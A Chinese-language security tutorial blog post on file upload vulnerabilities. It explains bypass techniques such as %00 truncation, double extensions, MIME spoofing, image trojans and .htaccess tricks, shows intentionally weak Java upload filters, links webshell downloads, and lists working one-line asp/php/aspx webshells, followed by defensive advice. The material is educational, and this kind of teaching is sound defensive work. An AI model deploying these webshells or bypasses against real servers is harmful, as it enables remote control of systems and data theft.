(十一)文件上传漏洞

一、前言

1、漏洞原理

大部分的网站和应用系统都有上传功能,而程序员在开发文件上传功能时,并未考虑文件格式后缀的合法性校验或者是否只在前端通过js进行后缀检验。

这时攻击者可以上传一个与网站脚本语言相对应的恶意代码动态脚本,例如(jsp、asp、php、aspx文件后缀)到服务器上,从而访问这些恶意脚本中包含的恶意代码,进行动态解析最终达到执行恶意代码的效果,进一步影响服务器安全。

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。一般都是指“上传Web脚本能够被服务器解析”的问题。

2、漏洞危害

可能会导致用户信息泄露,被钓鱼,甚至使攻击者可以直接上传WebShell到服务器,进而得到自己想要的信息和权限。最终达到对数据库执行、服务器文件管理、服务器命令执行等恶意操作,甚至完全控制服务器系统。

webshell:运行在web应用之上的远程控制程序 。 webshell分为大马、小马等。功能简易的webshell称为小马,拥有较完整功能的webshell,称为大马。

3、漏洞利用

文件上传漏洞利用条件:

(1)能够成功上传木马。

(2)上传的木马能够被web容器解析执行,所以上传路径要在web容器覆盖范围内。

(3)用户能够访问上传的木马,所以得知道上传的木马准确路径。

4、文件上传攻击满足条件

为实现一次攻击利用,必须满足以下条件:

  • 文件能够通过前端和后端过滤和文件处理
  • 文件内容不会改变,能够被正确存储
  • 存储位置在Web容器控制范围内
  • 攻击者有权限访问存储目录

文件上传漏洞高危触发点:

存在文件上传功能的地方都有可能存在文件上传漏洞,如:

  • 相册、头像上传
  • 视频、照片分享
  • 附件上传(论坛发帖、邮箱)
  • 文件管理器

文件上传漏洞类型如图所示:

 

 

 二、文件上传漏洞

1、无任何过滤

服务端脚本语言未对上传的文件进行任何限制和过滤,导致恶意用户上传任意文件。

2、文件上传客户端(前端)检测绕过

2.1 JS对文件后缀名检测绕过

通过前端js检测文件名是否合法没有任何意义,因为任意用户都可以对前端js进行任意修改或者通过burp suite抓包修改上传的文件名。

客户端JavaScript检测

开发者在前端使用JavaScript做了白名单验证,如果文件名不符合规则那么就不允许被上传

绕过方式:

绕过js检测方法一:修改前端代码,删除js代码检测部分,或者禁用js代码

绕过js检测方法二:使用代理Burp Suite上传文件;上传符合要求的文件类型,抓包修改文件类型。例如要上传1.jsp,先将文件名改为1.jpg,上传,抓包,再修改为1.jsp即可。
使用火狐插件禁用JavaScript代码:

 

3、 服务端检测绕过

3.1 服务器端后缀名检测绕过

主要通过黑白名单进行过滤,如果不符合过滤规则,则不允许上传

一般有个专门的 blacklist 文件,里面会包含常见的危险脚本文件后缀名。

绕过方式:

%00截断绕过:

首先将木马文件改为规则的后缀名,通过burp suite抓包,如果头文件中含有文件名以及存储路径。将路径改为xx.php后面跟%00,文件名不变。

那么在存储路径和文件名拼接时%00及以后的信息将被丢弃。即符合白名单验证,文件又会被存储为xx.php。

注:在jdk低版本(1.7及以下)中可以使用%00截断。

1. 设置save_path=../upload/a.php%00

2. 上传一个内容为一句话木马的jpg文件

 

3.2、 大小写绕过

检测上传的文件的后缀名是否符合要求,不允许上传".jsp",".php",".exe",".dll","vxd","html"结尾的文件,可通过将文件后缀大写进行绕过。

3.3、黑名单漏网之鱼绕过

黑名单仅过滤了少数后缀名,可以上传其他后缀类型的恶意文件。

可利用Burp suite截断HTTP请求,利用Intruder模块进行枚举后缀名,寻找黑名单中没有过滤的后缀名。接收HTTP请求,send to intruder,选中变量,在Payloads中加载相应的字典。

3.4、 双写绕过

以下代码判断文件后缀名是否存在黑名单中的字符,若存在则将对应的字符串替换为空

@Controller
public class UploadFile {
    @PostMapping("/upload")
    public String uploadFile(@RequestParam("uploadfile")MultipartFile file){

        String filename = file.getOriginalFilename();
        System.out.println(filename);
        String preFilename=filename.substring(0,filename.lastIndexOf("."));
        String suffix=filename.substring(filename.lastIndexOf("."));

        String[] blacklist={"jsp","php","exe","dll","vxd","html"};//后缀名黑名单
        for (String s : blacklist) {
            if (suffix.indexOf(s)!=-1){
                suffix=suffix.replace(s,"");//后缀存在黑名单字符串,则将字符串替换为空
            }
        }


        String path="src\\main\\resources\\static\\upload";
        File fileDir = new File(path);
        File outfile = new File(fileDir.getAbsolutePath()+File.separator + preFilename+suffix);
        try {
            file.transferTo(outfile);
            return "success";
        }catch (IOException e){
            e.printStackTrace();
        }
        return "index";


    }
}

可通过双写后缀名进行绕过,例如上传1.jjspsp文件,过滤掉jsp后,文件名正好是我们想要上传的。

3.5、 双后缀名绕过

以下代码,后端判断后缀名使用的是filename.indexOf("."),而不是filename.lastIndexOf("."),可通过双后缀名绕过检测,例如欲上传1.jsp,可将文件名改为1.jsp.jsp,这样后端获得的后缀名为.jsp.jsp,可通过检测。

@Controller
public class UploadFile {
    @PostMapping("/upload")
    public String uploadFile(@RequestParam("uploadfile")MultipartFile file,Model model){
        boolean flag=true;
        String filename = file.getOriginalFilename();
        System.out.println(filename);

        String suffix=filename.substring(filename.indexOf("."));
        String[] blacklist={".jsp",".php",".exe",".dll",".vxd",".html"};//后缀名黑名单
        for (String s : blacklist) {
            if (suffix.equals(s)){
                flag=false;
                break;

            }

        }
        if (flag){
            String path="src\\main\\resources\\static\\upload";
            File fileDir = new File(path);
            File outfile = new File(fileDir.getAbsolutePath()+File.separator + filename);
            try {
                file.transferTo(outfile);
                return "success";
            }catch (IOException e){
                e.printStackTrace();
            }

        }else {
            model.addAttribute("msg","非法文件类型");

        }
        return "index";

    }
}

3.6、上传不符合windows文件命名规则的文件名

利用条件:windows server+php

可利用Burp suite截断HTTP请求,修改文件名为如下形式:

  • 点绕过1.jsp.   #点绕过
  • 空格绕过1.jsp(空格)  #空格绕过
  • 1.jsp:1.jpg
  • 1.jsp::$DATA     #php在windows的时候如果文件名+“::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名“::$DATA”之前的文件名

3.7、MIME类型检测绕过(Content-Type校验)

MIME类型用来设定某种扩展名文件的打开方式,当具有该扩展名的文件被访问时,浏览器会自动使用指定的应用程序来打开。上传文件时可以通过服务端对上传文件的MIME类型进行判断。

绕过方式:

通过burp suite抓包修改Content-Type字段改为:Content-Type: image/jpeg

3.8、服务端文件头检测

文件头检测是在文件上传时取文件的前2个字节进行特征对比。

木马文件直接更改后缀名可以通过服务端白名单检测,但是无法绕过文件头检测。

常见文件头:

文件类型 文件头
JPEG (jpg) FFD8FF
PNG (png) 89504E47
GIF (gif) 47494638
ZIP Archive (zip) 504B0304
RAR Archive (rar) 52617221

 

@Controller
public class UploadFile2 {
    public final static Map<String,String> FileType=new HashMap<String,String>();
    static {
        getAllFileType();//初始化文件类型信息
    }
    @PostMapping("/upload")
    public static String upload(@RequestParam("uploadfile")MultipartFile file,Model model){
        String filename = file.getOriginalFilename();

        boolean flag=false;
        byte[] b=new byte[50];
        try {
            InputStream inputStream = file.getInputStream();
            inputStream.read(b);
            System.out.println(b.toString());
            StringBuilder stringBuilder=new StringBuilder();
            if (b==null ||b.length<0){
                flag=false;
            }
            for (int i = 0; i < b.length; i++) {
                int v=b[i]&0xff;
                String hv=Integer.toHexString(v);//十六进制
                stringBuilder.append(hv);


            }
            System.out.println(stringBuilder.toString());
            String fileTypeHex = String.valueOf(stringBuilder.toString());
            Iterator<Map.Entry<String, String>> iterator = FileType.entrySet().iterator();
            while (iterator.hasNext()){//判断文件前几个字节是否为FileType中三种类型之一
                Map.Entry<String, String> next = iterator.next();
                if (fileTypeHex.toUpperCase(Locale.ROOT).startsWith(next.getValue())){
                    flag=true;
                }

            }

            inputStream.close();

        }catch (FileNotFoundException e){
            e.printStackTrace();
        }catch (IOException e){
            e.printStackTrace();

        }

        if (flag){
            String path="src\\main\\resources\\static\\upload";
            File fileDir = new File(path);
            File outfile = new File(fileDir.getAbsolutePath()+File.separator + filename);
            try {
                file.transferTo(outfile);
                return "success";
            }catch (IOException e){
                e.printStackTrace();
            }

        }else {
            model.addAttribute("msg","非法文件类型");

        }
        return "index";

    }

    private static void getAllFileType(){
        FileType.put("jpeg","FFD8FF");
        FileType.put("png","89504E47");
        FileType.put("gif","47494638");


    }
}

3.8.1、 添加合法文件头绕过

通过抓包,添加合法文件头,例如CIF89a(jpg格式文件头)

3.8.2、 制作图片木马绕过

制作方法:

copy test.jpg/b+yijuhua.php/a 2.jpg

/b表示一个二进制文件

+表示将多个文件合并一个文件

/a表示一个Ascll文本文件

 注:准备test.jpg和yijuhua.php(木马)文件

copy test.jpg/b+yijuhua.php/a 2.jpg,或者使用记事本等软件打开图片,在末尾添加php木马数据,将攻击脚本隐藏到图片中。

单纯的图片马并不能直接和蚁剑连接,因为该文件依然是以image格式进行解析,需要结合文件包含漏洞

 3.9 .htaccesss绕过

什么是.htaccess?

.htaccess文件(分布式配置文件)提供了一种方式,使得配置文件可以随文件夹不同 而不同,其所放置的文件夹及所有子文件夹都会受此影响,其语法同apache主配置文件。

如何利用.htaccess?

场景:启用了.htaccess文件的网站,使用此文件类型来绕过限制较全面的黑名单过滤。

创建.htaccess文件,内容如下:

AddType application/x-httpd-php .jpg

AddType application/x-httpd-php .test

并文件上传至后台

php大马文件:

下载php大马文件在上传至后台

链接:https://pan.baidu.com/s/1fgmSxLCm_AUGq2AZ006xTA
提取码:nsrm

浏览器访问文件即可执行木马:

 4、配合如菜刀,蚁剑等工具使用

1) 中国菜刀下载地址(保险起见,下载后请做 MD5 验证):
https://github.com/raddyfiy/caidao-official-version

2).shell.php 文件下载
https://github.com/geektime-geekbang/WebSecurity/tree/master/Chapter_2_code

3)如果你无法从 GitHub 正常下载课件及 Demo,请打开下方链接进行下载:
https://gitee.com/geektime-geekbang/WebSecurity

一句话木马:

asp 一句话木马:
<%execute(request("value"))%>
php 一句话木马:
<?php @eval($_POST[“value”]);?>
aspx 一句话木马:
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>
其他一句话木马:
<%eval request("value")%>
<%execute request("value")%>
<%execute(request("value"))%>

5、总结

5.1、文件上传漏洞总结

文件上传漏洞的原因:

  • 未对文件做任何过滤,可上传任意文件类型,如木马、可执行文件等;
  • 仅在js端检验文件后缀,可通过删除js或禁用js或抓包修改文件后缀等方法绕过;
  • 后端后缀过滤使用黑名单,过滤不全,可通过使用未过滤的后缀名、大小写变换、双写后缀名、双后缀名、文件名结尾加”.“或空格、%00截断等方式绕过;
  • 后端判断文件类型,只判断Content-type,可通过抓包修改Content-type字段的值进行绕过;
  • 后端检查文件内容仅检查文件头内容,可通过抓包添加合法文件头,或使用其他工具添加合法文件头进行绕过。

5 .2、文件上传漏洞防范方法

(1)文件上传的目录设置为不可执行

只要web容器无法解析该目录下的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响。

(2)判断文件类型

通过MIME类型、后缀名检查等方式,判断文件类型。建议使用白名单。

(3)使用随机数改写文件名和文件路径

使用随机数改写文件名和文件路径。文件上传如果要执行代码,需要用户能够访问到这个文件。应用了随机数改写了文件名和路径,可防止大小写绕过、双后缀、多后缀等手段,将极大地增加攻击的成本;

 (4)设备防御

使用安全设备防御,恶意文件千变万化,隐藏手法也不断推陈出新,对普通的系统管理员来说可以通过部署安全设备来帮助防御。

(5)黑白名单

服务器端的检查最好使用白名单过滤的方法,黑名单极不可靠;

posted on 2022-11-01 15:24  uestc2007  阅读(1046)  评论(0编辑  收藏  举报

导航